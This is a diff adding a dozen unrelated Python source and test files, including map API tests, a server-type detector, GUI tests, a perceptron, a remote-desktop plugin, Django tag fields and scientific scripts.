+ 'layers_indices': '7,8', + 'layers_opacity': '1,1', + 'layers_visibility': 'true,true', + 'bgOpacity': '', + 'bgLayer': 'webbasemap', + 'uuid': '', + 'theme': 'main', + 'title': 'Updated mymaps', + 'description': 'updated test description', + 'label': '', + 'category_id': ''}, status=200) + + resp = testapp.get('/mymaps/map/' + map_id, status=200) + assert resp.json["title"] == 'Updated mymaps' + resp = testapp.get('/mymaps/rate/' + map_id + '?rating=10', status=400) + resp = testapp.get('/mymaps/rate/' + map_id + '?rating=3', status=200) + assert resp.json['success'] is True + assert resp.json['rating_count'] == 1 + resp = testapp.get('/mymaps/rate/' + map_id + '?rating=3', status=200) + assert resp.json['success'] is True + assert resp.json['rating_count'] == 2 + + resp = testapp.post('/mymaps/upload_image', + upload_files=[('file', 'LOGO_ACT.png')]) + assert resp.json['success'] is True + resp = testapp.post('/mymaps/comment/%s?comment=Test commentaire' + % (map_id), status=200) + assert resp.json['success'] is True + + resp = testapp.delete('/mymaps/delete/' + map_id, status=200) + assert resp.json['success'] is True + + +if __name__ == '__main__': + unittest.main() diff --git a/pool/shard000/Python/0008026_hq_utils.py b/pool/shard000/Python/0008026_hq_utils.py new file mode 100644 index 0000000000000000000000000000000000000000..dbed756028f3912253c86b1ed0e0594c27f1cb17 --- /dev/null +++ b/pool/shard000/Python/0008026_hq_utils.py @@ -0,0 +1,106 @@ +#!/usr/bin/python +# +# This file is used for detecting the HQ installation type and the system's architecture. +# +# If the support-package script needs to be used for other projects, then this file needs to be different +# (and possibly more generic). Other files are mostly application independent. +# + +import os,sys,tempfile,glob,time,shutil +from subprocess import call +import global_data as gd +from global_data import addGlobalData +import logging + +logger = logging.getLogger('hq_util') + +SERVER = "server" +AGENT = "agent" +DEV = 'dev' + +# Detect whether we're on an HQ server, HQ agent or a dev machine +def getInstallationType(hq_home): + if os.path.exists(os.path.join(hq_home,'hq-engine')) and os.path.exists(os.path.join(hq_home,'wrapper')): + return SERVER + else: + if os.path.exists(os.path.join(hq_home,'bundles')) and os.path.exists(os.path.join(hq_home,'wrapper')): + return AGENT + else: + if os.path.exists(os.path.join(hq_home,'resources')): + return DEV + else: + raise Exception('Unknown HQ environment') + +# Detect HQ related information, base on the HQ home folder +def detectHQInformation(hq_home): + # Add hq home as a a variable + addGlobalData(gd.HQ_HOME,hq_home) + + # Detect the HQ installation type + installation_type = getInstallationType(hq_home) + addGlobalData(gd.INSTALLATION_TYPE,installation_type) + # If it's a server installation, + if installation_type == SERVER: + addGlobalData(gd.SERVER_HOME,hq_home) + expected_jre_location = os.path.join(hq_home,"jre") + if os.path.exists(expected_jre_location): + addGlobalData(gd.SERVER_JRE,expected_jre_location) + addGlobalData(gd.JRE,expected_jre_location) + else: + # Add JAVA_HOME as the JRE path + if 'JAVA_HOME' in os.environ.keys(): + addGlobalData(gd.JRE,os.environ['JAVA_HOME']) + addGlobalData(gd.SUPPORT_BASE,os.path.join(hq_home,'support')) + else: + # If it's an agent installation + if installation_type == AGENT: + addGlobalData(gd.AGENT_HOME,hq_home) + expected_jre_location = os.path.join(hq_home,"jre") + if os.path.exists(expected_jre_location): + addGlobalData(gd.AGENT_JRE,expected_jre_location) + addGlobalData(gd.JRE,expected_jre_location) + else: + # add JAVA_HOME as the JRE path + if 'JAVA_HOME' in os.environ.keys(): + addGlobalData(gd.JRE,os.environ['JAVA_HOME']) + addGlobalData(gd.SUPPORT_BASE,os.path.join(hq_home,'support')) + else: + # If it's a dev machine + if installation_type == DEV: + # Then add JAVA_HOME as the JRE path if it exists + if 'JAVA_HOME' in os.environ.keys(): + addGlobalData(gd.JRE,os.environ['JAVA_HOME']) + addGlobalData(gd.SUPPORT_BASE,os.path.join(hq_home,'resources')) + # Save the location of the support source-code project + addGlobalData(gd.SUPPORT_PROJECT_BASE,os.path.join(hq_home,'..','..')) + else: + raise Exception("Unknown installation type") + + # Save lib folder as a variable + lib_folder = os.path.join(gd.getGlobalData(gd.SUPPORT_BASE),'lib') + addGlobalData(gd.LIB_FOLDER,lib_folder) + + # Save java executable location as a variable + addGlobalData(gd.JAVA_EXECUTABLE,os.path.join(gd.getGlobalData(gd.JRE),'bin','java')) + java_executable = gd.getGlobalData(gd.JAVA_EXECUTABLE) + # Save jython JAR location as a variable + jython_jar_location = os.path.join(gd.getGlobalData(gd.LIB_FOLDER),'jython.jar') + addGlobalData(gd.JYTHON_JAR_LOCATION,jython_jar_location) + # Save the command line to run jython as a variable + run_jython = '%(java_executable)s -jar %(jython_jar_location)s ' % vars() + addGlobalData(gd.RUN_JYTHON,run_jython) + # Save the command line to run a platform-independent tar as a variable + simple_tar_path = os.path.join(gd.getGlobalData(gd.SUPPORT_BASE),'scripts','common','simpletar.py') + simple_tar_command = '%(run_jython)s %(simple_tar_path)s' % vars() + addGlobalData(gd.SIMPLE_TAR,simple_tar_command) + + if installation_type == SERVER or installation_type == AGENT: + # TODO Get sigar version automatically + sigar_jar = os.path.abspath(os.path.join(gd.getGlobalData(gd.SUPPORT_BASE),'lib','sigar','sigar-1.6.6.jar')) + else: + # On dev machines, we need to take the sigar jar from the target folder + sigar_jar = os.path.abspath(os.path.join(gd.getGlobalData(gd.SUPPORT_PROJECT_BASE),'target','generated-resources','lib-sigar','sigar-1.6.6.jar')) + addGlobalData(gd.SIGAR_JAR,sigar_jar) + + addGlobalData(gd.RUN_SIGAR,'%(java_executable)s -jar %(sigar_jar)s' % vars()) + diff --git a/pool/shard000/Python/0008028_test_magic_gui.py b/pool/shard000/Python/0008028_test_magic_gui.py new file mode 100644 index 0000000000000000000000000000000000000000..aa5e40fd3cb5667cd9243d760f120c7fe6830879 --- /dev/null +++ b/pool/shard000/Python/0008028_test_magic_gui.py @@ -0,0 +1,174 @@ +""" +tests for magic_gui +""" + +import wx +import unittest +import os +from programs import magic_gui +from pmagpy import new_builder as nb +from dialogs import grid_frame3 as grid_frame +#import dialogs.pmag_widgets as pmag_widgets +from pmagpy import pmag +from pmagpy import data_model3 as data_model + +# set constants +DMODEL = data_model.DataModel() +WD = pmag.get_test_WD() +PROJECT_WD = os.path.join(WD, "data_files", "magic_gui", "3_0") + + +class TestMainFrame(unittest.TestCase): + + def setUp(self): + self.app = wx.App() + self.frame = magic_gui.MainFrame(PROJECT_WD, + name="best frame ever", + dmodel=DMODEL) + self.frame.get_wd_data() + self.pnl = self.frame.GetChildren()[0] + + def tearDown(self): +# wx.CallAfter(self.frame.Destroy) +# wx.CallAfter(self.app.Destroy) + os.chdir(WD) + + def test_main_panel_is_created(self): + """ + test for existence of main panel + """ + self.assertTrue(self.pnl.IsEnabled()) + self.assertEqual("main panel", str(self.pnl.GetName())) + self.assertEqual("best frame ever", str(self.frame.GetName())) + self.assertEqual(magic_gui.MainFrame, type(self.frame)) + + + def test_data_object_is_created(self): + self.assertEqual(nb.Contribution, type(self.frame.contribution)) + self.assertIn('measurements', self.frame.contribution.tables) + self.assertIn('specimens', self.frame.contribution.tables) + self.assertIn('samples', self.frame.contribution.tables) + self.assertEqual('sr01g2', self.frame.contribution.tables['specimens'].df.index[1]) + + + def test_specimen_button(self): + window = self.does_top_window_exist(self.pnl, 'specimens_btn', 'specimens') + self.assertTrue(window, 'specimens grid window was not created') + self.assertIsInstance(window, grid_frame.GridFrame) + self.assertTrue(window.IsEnabled()) + wx.CallAfter(self.assertTrue,window.IsShown()) + + def test_sample_button(self): + window = self.does_top_window_exist(self.pnl, 'samples_btn', 'samples') + self.assertTrue(window, 'samples grid window was not created') + self.assertIsInstance(window, grid_frame.GridFrame) + self.assertTrue(window.IsEnabled()) + wx.CallAfter(self.assertTrue,window.IsShown()) + + def test_site_button(self): + window = self.does_top_window_exist(self.pnl, 'sites_btn', 'sites') + self.assertTrue(window, 'sites grid window was not created') + self.assertIsInstance(window, grid_frame.GridFrame) + self.assertTrue(window.IsEnabled()) + wx.CallAfter(self.assertTrue,window.IsShown()) + + def test_location_button(self): + window = self.does_top_window_exist(self.pnl, 'locations_btn', 'locations') + self.assertTrue(window, 'locations grid window was not created') + self.assertIsInstance(window, grid_frame.GridFrame) + self.assertTrue(window.IsEnabled()) + wx.CallAfter(self.assertTrue,window.IsShown()) + + + def test_age_button(self): + window = self.does_top_window_exist(self.pnl, 'ages_btn', 'ages') + self.assertTrue(window, 'age grid window was not created') + self.assertIsInstance(window, grid_frame.GridFrame) + self.assertTrue(window.IsEnabled()) + wx.CallAfter(self.assertTrue,window.IsShown()) + + + def does_top_window_exist(self, parent, btn_name, window_name): + """ + produces a click event on the button called btn_name, + see if it produces a top-level window called window_name + """ + btn = None + children = parent.GetChildren() + print(", ".join([child.GetName() for child in children])) + for child in children: + if child.GetName() == btn_name: + btn = child + break + if not btn: + return None + event = wx.CommandEvent(wx.wxEVT_COMMAND_BUTTON_CLICKED, btn.GetId()) + btn.GetEventHandler().ProcessEvent(event) + for wind in wx.GetTopLevelWindows(): + if wind.GetName() == window_name: + return wind + return None + + +class TestMagICGUIMenu(unittest.TestCase): + + + def setUp(self): + self.app = wx.App() + self.frame = magic_gui.MainFrame(PROJECT_WD, name="best frame ever", + dmodel=DMODEL) + self.frame.get_wd_data() + self.pnl = self.frame.GetChildren()[0] + self.contribution = self.frame.contribution + + def tearDown(self): + #self.frame.Destroy() # this does not work and causes strange errors + for wind in wx.GetTopLevelWindows(): + res = wind.Destroy() + self.app.Destroy() + os.chdir(WD) + + def test_that_all_menus_exist(self): + """ + check that all expected menus were created + and that each menu item is enabled + """ + menu_names = ['File', 'Help '] + menus = self.frame.MenuBar.Menus + found_menus = [] + for menu, menu_name in menus: + self.assertIsInstance(menu, wx.Menu) + for item in menu.GetMenuItems(): + self.assertTrue(item.IsEnabled()) + self.assertIn(menu_name, menu_names) + found_menus.append(menu_name) + self.assertEqual(set(menu_names), set(found_menus)) + + + def test_show_mainframe(self): + menus = self.frame.MenuBar.Menus + fmenu, fmenu_name = menus[0] + + # once you have the correct menu + show_id = fmenu.FindItem('Show main window') + show_item = fmenu.FindItemById(show_id) + + self.frame.Hide() + self.assertFalse(self.frame.IsShown()) + + event = wx.CommandEvent(wx.EVT_MENU.evtType[0], show_id) + self.frame.GetEventHandler().ProcessEvent(event) + self.assertTrue(self.frame.IsShown()) + + def test_close_grid(self): + self.frame.grid_frame = grid_frame.GridFrame(self.contribution, PROJECT_WD, + "specimens", "specimens") + self.assertTrue(self.frame.grid_frame.IsShown()) + menus = self.frame.MenuBar.Menus + fmenu, fmenu_name = menus[0] + # once you have the correct menu + close_id = fmenu.FindItem('Close current grid') + close_item = fmenu.FindItemById(close_id) + + event = wx.CommandEvent(wx.EVT_MENU.evtType[0], close_id) + self.frame.GetEventHandler().ProcessEvent(event) diff --git a/pool/shard000/Python/0008030_neural_network.py b/pool/shard000/Python/0008030_neural_network.py new file mode 100644 index 0000000000000000000000000000000000000000..b8b47fdddc0227b44ff443e61f6b9be0690f9ba0 --- /dev/null +++ b/pool/shard000/Python/0008030_neural_network.py @@ -0,0 +1,128 @@ +import math + +class Perceptron(object): + """ + Base class of a neuron using the perceptron algorithm. + + Arguments: + size_inputs -- Integer : the size of the input of the neuron + """ + def __init__(self, size_inputs): + super(Perceptron, self).__init__() + self.size_inputs = size_inputs + self.weights = tuple(0 for _ in xrange(self.size_inputs)) + + def apply_weight(self, inputs): + """ + Apply weight of the neuron of the input *inputs*. + + Arguments: + inputs -- [Real] : Input + + Returns: + [Real] : The ponderated vector input + + Raises: + AssertionError : if the length of the input is different of the length + of + the weights + """ + assert len(inputs) == self.size_inputs + W = self.weights + return [x * w for w, x in zip(inputs, W)] + + @classmethod + def aggregate(_, weighted_input): + """ + Aggragate function of a learning machine with neural network. + Sum the vector *weighted_input* and return the result. + + Arguments: + weighted_input -- [Real] : Vector to aggregate + + Returns: + Real : Sum of the vector *weighted_input* + """ + return sum(weighted_input) + + @classmethod + def threshold(_, aggregated_input): + """ + Threashold function of a learning machine with neural network. + Put *aggregated_input* into a sigmoid function and return the result. + + Arguments: + aggregated_input -- Real : Input of the threashold function. + + Returns: + Real [0 ; 1] : An real between 0 and 1 corresponding to the result of a + sigmoid function. + """ + return 1 if aggregated_input >= 0 else 0 + param = 1.0 + try: + return 1.0 / (1.0 + math.exp(-param * aggregated_input)) + except OverflowError: + return 1.0 + + def weights_fix(self, X, true_result, result): + """ + Learning rule fixing the current weight by considering the distance + between the expected result *true_result* and the obtained result + *result* with the input *inputs*. + + Arguments: + X -- [Real] : Input used with the current experience + true_result -- Real : Expected result of the experience + result -- Real : Obtained result + + Raises: + AssertionError : if the length of the input is different of the length + of the weights + """ + assert len(X) == self.size_inputs + learning_step = 0.1 + dr = true_result - result + W = self.weights + self.weights = tuple(w + learning_step * dr * x for w, x in zip(W, X)) + + def eval(self, X): + """ + Apply the logic neural network system on the input *X*. + + Arguments: + X -- [Real] : Input + + Returns: + Real : the solution calculated by the neuron. + """ + return Perceptron.threshold(Perceptron.aggregate(self.apply_weight(X))) + + def learn(self, X, result): + """ + Eval the input *X* with the neuron and compare it with the expected + result *result* to learn the neuron. + + Arguments: + X -- [Real] : Input + result -- Real : Expected result + + Returns: + The current evaluation of the input by the neuron. + """ + r = self.eval(X) + self.weights_fix(X, result, r) + return r + +if __name__ == '__main__': + inputs = [(1, 0, 0), (1, 0, 1), (1, 1, 0), (1, 1, 1)] + results = [0, 0, 0, 1] + neuron = Perceptron(3) + error = True + + while error: + error = False + for X, R in zip(inputs, results): + res = neuron.learn(X, R) + print X, R, res + error |= res != R diff --git a/pool/shard000/Python/0008039_init__.py b/pool/shard000/Python/0008039_init__.py new file mode 100644 index 0000000000000000000000000000000000000000..e40aa59a1bded29b2322006e738d5f6ec94f5117 --- /dev/null +++ b/pool/shard000/Python/0008039_init__.py @@ -0,0 +1,134 @@ +import subprocess +import json +import redis + +from vFense.plugins.ra import _db as db + +PluginName = "ra" + +MaxConnections = 3 +CurrentConnections = 0 + +StartPort = 10000 +EndPort = 11000 + +PortRange = range(StartPort, EndPort) + +db.ra_initialization() + + +def session_exist(agent_id): + + conn, session = db.connection_exist(agent_id=agent_id) + if conn: + + return True, (session[RaKey.Status], session[RaKey.WebPort]) + + else: + + return False, None + + +def get_feedback_channel(agent_id): + + return "%s_%s" % (Channel.Feedback, agent_id) + + +def add_feedback( + agent_id, + status, + message='', + web_port='', + port='', + uri='', + hostname='' +): + + redis_client = redis.Redis() + + fb = { + RaKey.AgentId: agent_id, + RaKey.Status: status, + RaKey.Message: message, + RaKey.WebPort: web_port, + RaKey.Uri: uri, + RaKey.Hostname: hostname + } + + redis_client.publish( + get_feedback_channel(agent_id), + json.dumps(fb) + ) + + +class RaUri(): + + StartRemoteDesktop = '/api/ra/rd/%s/' + StopRemoteDesktop = '/api/ra/rd/%s/' + Password = '/api/ra/rd/password/' + + RdResults = '/rvl/ra/rd/results' + PasswordResults = '/rvl/ra/rd/password' + + +class Channel(): + + Feedback = 'ra_feedback' + + +class Status(): + + Waiting = 'waiting' + Error = 'error' + Ready = 'ready' + Closing = 'closing' + Closed = 'closed' + Timeout = 'timeout' + + +class RaKey(): + + ReverseTunnel = 'reverse_tunnel' + AgentId = 'agent_id' + Status = 'status' + Message = 'message' + WebPort = 'web_port' + Port = 'port' # Should be an alias to WebPort + HostPort = 'host_port' + PublicKey = 'public_key' + Uri = 'uri' + Hostname = 'hostname' + + +class RaValue(): + + RemoteDesktop = 'start_remote_desktop' + StopRemoteDesktop = 'stop_remote_desktop' + SetRdPassword = 'set_rd_password' + + +class DesktopProtocol(): + + Vnc = 'vnc' + + +def get_hostname(): + + return '127.0.0.1' + #process = subprocess.Popen( + # ['/bin/hostname'], + # stdout=subprocess.PIPE, + # stderr=subprocess.PIPE + #) + + #output, error = process.communicate() + #split_out = output.splitlines() + #if len(split_out) >= 1: + # return split_out[0] + + +def create_vnc_uri(host, port): + + uri = "ra/%s/%s/vnc.html" % (host, port) + + return uri diff --git a/pool/shard000/Python/0008040_player_at.py b/pool/shard000/Python/0008040_player_at.py new file mode 100644 index 0000000000000000000000000000000000000000..3ff88d2e907c4ae9c39067fda24e6c6b3d8b0af0 --- /dev/null +++ b/pool/shard000/Python/0008040_player_at.py @@ -0,0 +1,64 @@ +# +# Tuxemon +# Copyright (c) 2014-2017 William Edwards , +# Benjamin Bean +# +# This file is part of Tuxemon +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . +# +from __future__ import annotations +from tuxemon.event.eventcondition import EventCondition +from tuxemon.session import Session +from tuxemon.event import MapCondition + + +class PlayerAtCondition(EventCondition): + """ + Check to see if the player is at the condition position on the map. + + Script usage: + .. code-block:: + + is player_at + + """ + + name = "player_at" + + def test(self, session: Session, condition: MapCondition) -> bool: + """ + Check to see if the player is at the condition position on the map. + + Parameters: + session: The session object + condition: The map condition object. + + Returns: + Whether the player is in the condition position. + + """ + player = session.player + + # Get the condition's rectangle area. If we're on a tile in that area, + # then this condition should return True. + area_x = range(condition.x, condition.x + condition.width) + area_y = range(condition.y, condition.y + condition.height) + + # If the player is at the coordinates and the operator is set to true + # then return true + return ( + round(player.tile_pos[0]) in area_x + and round(player.tile_pos[1]) in area_y + ) diff --git a/pool/shard000/Python/0008041_overview_model_multi_step.py b/pool/shard000/Python/0008041_overview_model_multi_step.py new file mode 100644 index 0000000000000000000000000000000000000000..b9205e35912290cb62e0fa8941b952368b7ddd7b --- /dev/null +++ b/pool/shard000/Python/0008041_overview_model_multi_step.py @@ -0,0 +1,35 @@ +import itertools as it + +import numpy as np +import pylab as pl + +from triflow import Model, schemes + +model = Model("k * dxxU - c * dxU", + "U", ["k", "c"]) + +x, dx = np.linspace(0, 1, 200, retstep=True) +U = np.cos(2 * np.pi * x * 5) +fields = model.fields_template(x=x, U=U) + +parameters = dict(c=.03, k=.001, dx=dx, periodic=True) + +t = 0 +dt = 1E-2 +tmax = 5 + +pl.plot(fields.x, fields.U, label='t: %g' % t) + +scheme = schemes.Theta(model, theta=.5) # Crank-Nicolson scheme + +for i in it.count(): + t, fields = scheme(t, fields, dt, parameters) + if (i + 1) % 100 == 0: + pl.plot(fields.x, fields.U, label='t: %g' % t) + if t >= tmax: + break + +pl.xlim(0, 1) +legend = pl.legend(loc='best') + +pl.show() diff --git a/pool/shard000/Python/0008043_test_irsb_property_caching.py b/pool/shard000/Python/0008043_test_irsb_property_caching.py new file mode 100644 index 0000000000000000000000000000000000000000..9d0afd1ced868e3469c18ef6155c6ed4f2fe5db3 --- /dev/null +++ b/pool/shard000/Python/0008043_test_irsb_property_caching.py @@ -0,0 +1,35 @@ +from future.utils import iteritems +import pyvex +import archinfo +from pyvex.block import IRSB +import sys + + +def test_cache_invalidation_on_extend(): + b = pyvex.block.IRSB(b"\x50", 0, archinfo.ArchX86()) + assert b.size == 1 + assert b.instructions == 1 + toappend = pyvex.block.IRSB(b"\x51", 0, archinfo.ArchX86()) + toappend.jumpkind = "Ijk_Invalid" + toappend._direct_next = ( + None # Invalidate the cache because I manually changed the jumpkind + ) + assert not toappend.direct_next + b.extend(toappend) + assert b.size == 2 + assert b.instructions == 2 + assert not b.direct_next + + +def run_all(): + g = globals() + for k, v in iteritems(g): + if k.startswith("test_") and hasattr(v, "__call__"): + v() + + +if __name__ == "__main__": + if len(sys.argv) > 1: + globals()["test_" + sys.argv[1]]() + else: + run_all() diff --git a/pool/shard000/Python/0008044_test_for_each.py b/pool/shard000/Python/0008044_test_for_each.py new file mode 100644 index 0000000000000000000000000000000000000000..f3f33ab4db4567aa5dcb36bb8b70c097bbe33846 --- /dev/null +++ b/pool/shard000/Python/0008044_test_for_each.py @@ -0,0 +1,45 @@ +from hamcrest import assert_that, equal_to, is_ + +from microcosm_pubsub.chain import Chain +from microcosm_pubsub.chain.statements import for_each + + +def test_for_each(): + chain = Chain( + for_each("item").in_("items").do( + Chain(lambda item: item.upper()), + ), + Chain(lambda item_list: list(reversed(item_list))), + ) + + assert_that( + chain(items=["a", "b", "c"]), + is_(equal_to(["C", "B", "A"])), + ) + + +def test_for_each_simplified(): + chain = Chain( + for_each("item").in_("items").do( + lambda item: item.upper(), + ).as_("lst"), + lambda lst: list(reversed(lst)), + ) + + assert_that( + chain(items=["a", "b", "c"]), + is_(equal_to(["C", "B", "A"])), + ) + + +def test_for_each_when(): + chain = Chain( + for_each("item").in_("items").do( + lambda item: None if item % 2 else item, + ).when_not_none(), + ) + + assert_that( + chain(items=[0, 1, 2, 3, 4, 5]), + is_(equal_to([0, 2, 4])), + ) diff --git a/pool/shard000/Python/0008046_tags.py b/pool/shard000/Python/0008046_tags.py new file mode 100644 index 0000000000000000000000000000000000000000..4a769aad6387aaf043098c20341043a2684eb467 --- /dev/null +++ b/pool/shard000/Python/0008046_tags.py @@ -0,0 +1,93 @@ +# https://github.com/funkybob/django-array-tags + +from django.contrib.postgres.fields import ArrayField +from django.db import models +from django.db.models import Count, QuerySet, F + + +class TagField(ArrayField): + def __init__(self, **kwargs): + self.lower = kwargs.pop('lower', True) + kwargs.setdefault('blank', True) + kwargs.setdefault('base_field', models.CharField(max_length=50)) + super(TagField, self).__init__(**kwargs) + + def pre_save(self, model_instance, add): + """Trim whitspace and deduplicate values.""" + values = super(TagField, self).pre_save(model_instance, add) + if values is None: + return [] + values = {val.strip() for val in values} + if self.lower: + values = {val.lower() for val in values} + return tuple(values) + + def contribute_to_class(self, cls, name, virtual_only=False): + """Add a 'get_{name}_most_like' method.""" + super(TagField, self).contribute_to_class(cls, name, virtual_only) + + def get_most_like_by_FIELD(self, exclude_self=True, field=name): + qset = self._default_manager.all() + if exclude_self: + qset = qset.exclude(pk=self.pk) + return qset.most_like(field, getattr(self, field)) + + +class Unnest(models.Func): + function = 'unnest' + arity = 1 + + +class ArrayLength(models.Func): + function = 'array_length' + arity = 1 + + +class Intersect(models.Func): + template = """ + array_length(ARRAY( + SELECT * + FROM UNNEST(%(field)s) + WHERE UNNEST = ANY(%(value)s)), 1) + """ + output_field = models.IntegerField() + arity = 2 + + def as_sql(self, compiler, connection, function=None, template=None): + field_sql, field_params = compiler.compile(self.source_expressions[0]) + value_sql, value_params = compiler.compile(self.source_expressions[1]) + + template = template or self.extra.get('template', self.template) + return ( + template % {'field': field_sql, 'value': value_sql}, + field_params + value_params, + ) + + +class TagQuerySet(QuerySet): + """Mix into your tagged model to provide extra helpers""" + def all_tag_values(self, name): + return ( + self.order_by() + .annotate(_v=Unnest(name)) + .values_list('_v', flat=True) + .distinct() + ) + + def count_tag_values(self, name): + return ( + self.order_by('_v') + .annotate(_v=Unnest(name)) + .values('_v') + .annotate(count=Count('*')) + .values_list('_v', 'count') + ) + + def most_like(self, field, tags): + ''' + ''' + return ( + self.order_by() + .annotate(similarity=Intersect(F(field), tags)) + .order_by('-similarity') + ) diff --git a/pool/shard000/Python/0008049_LicenseKeyFormatting.py b/pool/shard000/Python/0008049_LicenseKeyFormatting.py new file mode 100644 index 0000000000000000000000000000000000000000..172b23717caf4ddbcb37598c41eb6c7c74061a70 --- /dev/null +++ b/pool/shard000/Python/0008049_LicenseKeyFormatting.py @@ -0,0 +1,60 @@ +# -*- coding: utf-8 -*- + +# Authors: Y. Jia + +""" +Now you are given a string S, which represents a software license key which we would like to +format. The string S is composed of alphanumerical characters and dashes. The dashes split the +alphanumerical characters within the string into groups. (i.e. if there are M dashes, the string is +split into M+1 groups). The dashes in the given string are possibly misplaced. + +We want each group of characters to be of length K (except for possibly the first group, which +could be shorter, but still must contain at least one character). To satisfy this requirement, we +will reinsert dashes. Additionally, all the lower case letters in the string must be converted to +upper case. + +So, you are given a non-empty string S, representing a license key to format, and an integer K. And +you need to return the license key formatted according to the description above. + +https://leetcode.com/problems/license-key-formatting/description/ +""" + + +class Solution(object): + _ord_a = ord('a') + _ord_z = ord('z') + _offset = ord('A') - ord('a') + + def licenseKeyFormatting(self, S, K): + """ + :type S: str + :type K: int + :rtype: str + """ + length = len(S) + i = length - 1 + j = 0 + transformed_list = list() + while i >= 0: + cur_char = S[i] + if cur_char == '-': + pass + elif ord(cur_char) >= self._ord_a and ord(cur_char) <= self._ord_z: + transformed_list.append(chr(ord(cur_char) + self._offset)) + j += 1 + else: + transformed_list.append(cur_char) + j += 1 + if j == K: + transformed_list.append('-') + j = 0 + i -= 1 + + if len(transformed_list) > 0 and transformed_list[-1] == '-': + del transformed_list[-1] + transformed_list.reverse() + return ''.join(transformed_list) + + +if __name__ == '__main__': + print(Solution().licenseKeyFormatting("2-4A0r7-4k", 4)) diff --git a/pool/shard000/Python/0008050_extension.py b/pool/shard000/Python/0008050_extension.py new file mode 100644 index 0000000000000000000000000000000000000000..4625e04c73a646590b4d0e18b339d687b493f478 --- /dev/null +++ b/pool/shard000/Python/0008050_extension.py @@ -0,0 +1,105 @@ +# ExtensionImporter (```flask.exthook```) +# ---------------------------------- +# :copyright: (c) 2014 by Armin Ronacher. +# :license: BSD, see LICENSE for more details. + +from plex.lib.six import reraise + +import os +import sys + + +class ExtensionImporter(object): + """This importer redirects imports from this submodule to other locations. + This makes it possible to transition from the old flaskext.name to the + newer flask_name without people having a hard time. + """ + + def __init__(self, module_choices, wrapper_module): + self.module_choices = module_choices + self.wrapper_module = wrapper_module + self.prefix = wrapper_module + '.' + self.prefix_cutoff = wrapper_module.count('.') + 1 + + def __eq__(self, other): + return self.__class__.__module__ == other.__class__.__module__ and \ + self.__class__.__name__ == other.__class__.__name__ and \ + self.wrapper_module == other.wrapper_module and \ + self.module_choices == other.module_choices + + def __ne__(self, other): + return not self.__eq__(other) + + def install(self): + sys.meta_path[:] = [x for x in sys.meta_path if self != x] + [self] + + def find_module(self, fullname, path=None): + if fullname.startswith(self.prefix): + return self + + def load_module(self, fullname): + if fullname in sys.modules: + return sys.modules[fullname] + modname = fullname.split('.', self.prefix_cutoff)[self.prefix_cutoff] + for path in self.module_choices: + realname = path % modname + try: + __import__(realname) + except ImportError: + exc_type, exc_value, tb = sys.exc_info() + # since we only establish the entry in sys.modules at the + # very this seems to be redundant, but if recursive imports + # happen we will call into the move import a second time. + # On the second invocation we still don't have an entry for + # fullname in sys.modules, but we will end up with the same + # fake module name and that import will succeed since this + # one already has a temporary entry in the modules dict. + # Since this one "succeeded" temporarily that second + # invocation now will have created a fullname entry in + # sys.modules which we have to kill. + sys.modules.pop(fullname, None) + + # If it's an important traceback we reraise it, otherwise + # we swallow it and try the next choice. The skipped frame + # is the one from __import__ above which we don't care about + if self.is_important_traceback(realname, tb): + reraise(exc_type, exc_value, tb.tb_next) + continue + module = sys.modules[fullname] = sys.modules[realname] + if '.' not in modname: + setattr(sys.modules[self.wrapper_module], modname, module) + return module + raise ImportError('No module named %s' % fullname) + + def is_important_traceback(self, important_module, tb): + """Walks a traceback's frames and checks if any of the frames + originated in the given important module. If that is the case then we + were able to import the module itself but apparently something went + wrong when the module was imported. (Eg: import of an import failed). + """ + while tb is not None: + if self.is_important_frame(important_module, tb): + return True + tb = tb.tb_next + return False + + def is_important_frame(self, important_module, tb): + """Checks a single frame if it's important.""" + g = tb.tb_frame.f_globals + if '__name__' not in g: + return False + + module_name = g['__name__'] + + # Python 2.7 Behavior. Modules are cleaned up late so the + # name shows up properly here. Success! + if module_name == important_module: + return True + + # Some python versions will will clean up modules so early that the + # module name at that point is no longer set. Try guessing from + # the filename then. + filename = os.path.abspath(tb.tb_frame.f_code.co_filename) + test_string = os.path.sep + important_module.replace('.', os.path.sep) + return test_string + '.py' in filename or \ + test_string + os.path.sep + '__init__.py' in filename diff --git a/pool/shard000/Python/0008051_definition.py b/pool/shard000/Python/0008051_definition.py new file mode 100644 index 0000000000000000000000000000000000000000..fe1235fdba4916a74da451760e8742a8be5597e7 --- /dev/null +++ b/pool/shard000/Python/0008051_definition.py @@ -0,0 +1,24 @@ +import os +import abjad +import string_trio + + +segment_maker = string_trio.tools.SegmentMaker( + time_signatures=2 * [(4, 4), (3, 4), (5, 4)], + cello_pitches=[0, 2, 3, 4], + cello_rhythm_maker=string_trio.tools.my_droning_rhythm_maker, + viola_pitches=[0, 2], + viola_rhythm_maker=string_trio.tools.my_slow_rhythm_maker, + violin_pitches=[0, 2], + violin_rhythm_maker=string_trio.tools.my_fast_rhythm_maker, +) + + +if __name__ == "__main__": + lilypond_file, _ = segment_maker() + illustration_path = os.path.join( + os.path.dirname(__file__), + "illustration.pdf", + ) + abjad.persist.as_pdf(lilypond_file, illustration_path) + os.system(f"open {illustration_path}") diff --git a/pool/shard000/Python/0008055_partial_object.py b/pool/shard000/Python/0008055_partial_object.py new file mode 100644 index 0000000000000000000000000000000000000000..ae59f653a0b7dd901edd98b88382ff4fd0e49114 --- /dev/null +++ b/pool/shard000/Python/0008055_partial_object.py @@ -0,0 +1,33 @@ +from datastack import * + +ds = DataStack() + +load_pha(ds, 'data/acis_1_pha3.fits') +load_pha(ds, 'data/acis_2_pha3.fits') +load_pha(ds, 'data/acis_3_pha3.fits') +load_pha(ds, 'data/acis_4_pha3.fits') + +group_counts(ds, 20) + +ignore(ds, None, 0.5) +ignore(ds, 7, None) +ignore(ds[3,4], 6.0, None) # Ignore more for datasets 3, 4 + +subtract(ds) + +set_source(ds[1,3], xsphabs.gal * powlaw1d.powID) +set_source(ds[2,4], xsphabs.gal * powlaw1d.powID + gauss1d.gaussID) + +set_par(ds, 'gauss.fwhm', 0.5) +set_par(ds, 'gauss.pos', 5) +freeze(ds, 'gauss.fwhm') +freeze(ds, 'gauss.pos') + +link(ds, 'pow.gamma') +set_par(ds, 